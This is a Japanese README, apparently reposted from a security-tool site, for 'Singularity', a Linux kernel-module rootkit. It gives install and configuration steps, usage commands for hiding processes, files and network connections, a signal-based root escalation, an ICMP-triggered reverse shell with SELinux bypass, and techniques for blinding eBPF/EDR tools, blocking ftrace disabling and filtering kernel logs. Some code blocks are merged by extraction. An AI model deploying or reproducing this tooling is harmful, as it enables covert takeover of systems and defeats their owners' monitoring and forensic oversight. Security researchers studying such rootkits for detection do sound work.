
"フォレンジックに少し仕事をさせてみないか?"
このプロジェクトは、私にとって特別な女性、Mocinhaからインスピレーションを得ました
Singularity は、モダンな6.xカーネル向けに設計された強力な Linux Kernel Module (LKM) ルートキットです。ftrace基盤を介した高度なシステムコールフックにより、包括的なステルス機能を提供します。
詳細研究記事(旧バージョン): Singularity: A Final Boss Linux Kernel Rootkit
EDR回避ケーススタディ: Bypassing Elastic EDR with Singularity
POCビデオ: Singularity vs eBPFセキュリティツール: Singularity vs eBPF security tools
SingularityフックによるeBPFセキュリティの突破: Breaking eBPF
Singularityは、カーネルレベルで動作する高度なルートキットであり、以下を提供します:
/sys/fs/cgroup/*/cgroup.procs経由の検出を防ぐCgroup PIDフィルタリングcd /dev/shm git clone https://github.com/MatheuZSecurity/Singularity cd Singularity sudo bash setup.sh cd ..
以上です。このモジュールは自動的に次のことを行います:
- lsmod、/proc/modules、/sys/module から自身を隠します
- カーネルの taint フラグをクリアします
- dmesg、journalctl -k、klogctl から機密文字列をフィルタリングします
- 隠しファイルとプロセスの保護を開始します
### 重要な注意事項
**このモジュールはロード後に自動的に自身を隠します**
**アンロード機能はありません - 削除するには再起動が必要です**
**まず VM でテストしてください - 再起動なしでは削除できません**
## 設定
### サーバーの IP とポートを設定する
**`include/core.h` を編集:**```c
#define YOUR_SRV_IP "192.168.1.100" // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } } // IPv6 if needed
modules/icmp.c を編集:```c
#define SRV_PORT "8081" // Change this to your desired port
**`modules/bpf_hook.c` を編集:**```c
#define HIDDEN_PORT 8081 // Must match SRV_PORT
modules/hiding_tcp.c を編集:```c
#define PORT 8081 // Must match SRV_PORT
**重要**: ネットワークの隠蔽とICMPリバースシェル機能を適切に機能させるには、すべてのポート定義が一致している必要があります。
## 使い方
### プロセスを隠す```bash
# Hide current shell
kill -59 $$
# Hide specific process
kill -59 <PID>
プロセスは ps、top、htop、/proc、およびすべての監視ツールから見えなくなります。すべての子プロセスは自動的に追跡され、非表示になります。
設定されたパターンに一致するファイルは自動的に非表示になります:```bash mkdir singularity echo "secret" > singularity/data.txt
ls -la | grep singularity
cat singularity/data.txt
cd singularity
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/13713f834a730a67b38b024c092d77eb111a7d38e2fa0ac16a8f36ffd3506f90.png">
</p>
### Rootになる
**シグナルベースの方法:**```bash
kill -59 $$
id # uid=0(root)
設定したポート(デフォルト: 8081)上の接続は自動的に非表示になります:```bash nc -lvnp 8081
ss -tulpn | grep 8081 # (no output) netstat -tulpn | grep 8081 # (no output) lsof -i :8081 # (no output) cat /proc/net/nf_conntrack | grep 8081 # (no output)
ss -tapen | grep 8081 # (no output) conntrack -L | grep 8081 # (no output)
パケットは生ソケットレベル(tpacket_rcv)で破棄され、以下から隠蔽されます:
- /proc/net/* インターフェース(tcp、tcp6、udp、udp6)
- /proc/net/nf_conntrack
- Netlink SOCK_DIAG クエリ(ss、lsof が使用)
- Netlink NETFILTER/conntrack メッセージ(conntrack ツールが使用)
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/a77a916efc8ee8b9091b3a0ef3acfde44eff570bc022477a3906fac1f623993f.png">
</p>
### ICMP リバースシェル
自動SELinuxバイパスにより、リモートで隠しリバースシェルを起動する:
**1. リスナーを起動:**```bash
nc -lvnp 8081 # Use your configured port
2. ICMPトリガーを送信:```bash sudo python3 scripts/trigger.py <target_ip>
**3. rootシェルを取得する**(すべての子プロセスとともに自動的に隠され、SELinux enforcingモードが有効な場合はバイパスされる)
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/6d501d17287ba7f674b766dd25b281d2b26d9f420baa3bbc5a9cc9863db541fc.png">
</p>
## 保護メカニズム
### Ftrace制御保護
ftraceを無効化しようとするすべての試みは、静かにインターセプトされブロックされます:```bash
echo 0 > /proc/sys/kernel/ftrace_enabled # Appears successful but does nothing
保護対象システムコール: write, writev, pwrite64, pwritev, pwritev2, sendfile, sendfile64, splice, vmsplice, tee, copy_file_range, io_uring_enter (PID ごとのインテリジェントキャッシュ付き)
bpf_hook.c モジュールは、eBPF ベースのセキュリティツールに対する高度な検出回避システムを実装しています。BPF システムコールを完全にブロックするのではなく(それは検出の指紋となります)、カーネルレベルでデータを選択的にフィルタリングし、隠しプロセスと接続を eBPF プログラムから見えないようにします。
戦略: BPF システムコール自体ではなく、eBPF プログラムが使用するデータ収集・報告機能をインターセプトします。これにより、正規の eBPF ツールは通常どおり動作しつつ、隠されたリソースを認識できないようにします。
保護対象リソース:
インターセプトポイント:
このアプローチは、BPF 操作を完全にブロックした場合に発生するアラートをトリガーすることなく、eBPF セキュリティツールを無効化します。
ftrace_enabled および tracing_on へのアクセス試行における io_uring バイパスに対する保護。インテリジェントキャッシュ(PID ごとに1秒間のキャッシュ)により、繰り返しのプロセススキャンを防止し、オーバーヘッドを削減します。
すべてのカーネルログインターフェースから機密文字列をリアルタイムにフィルタリングします: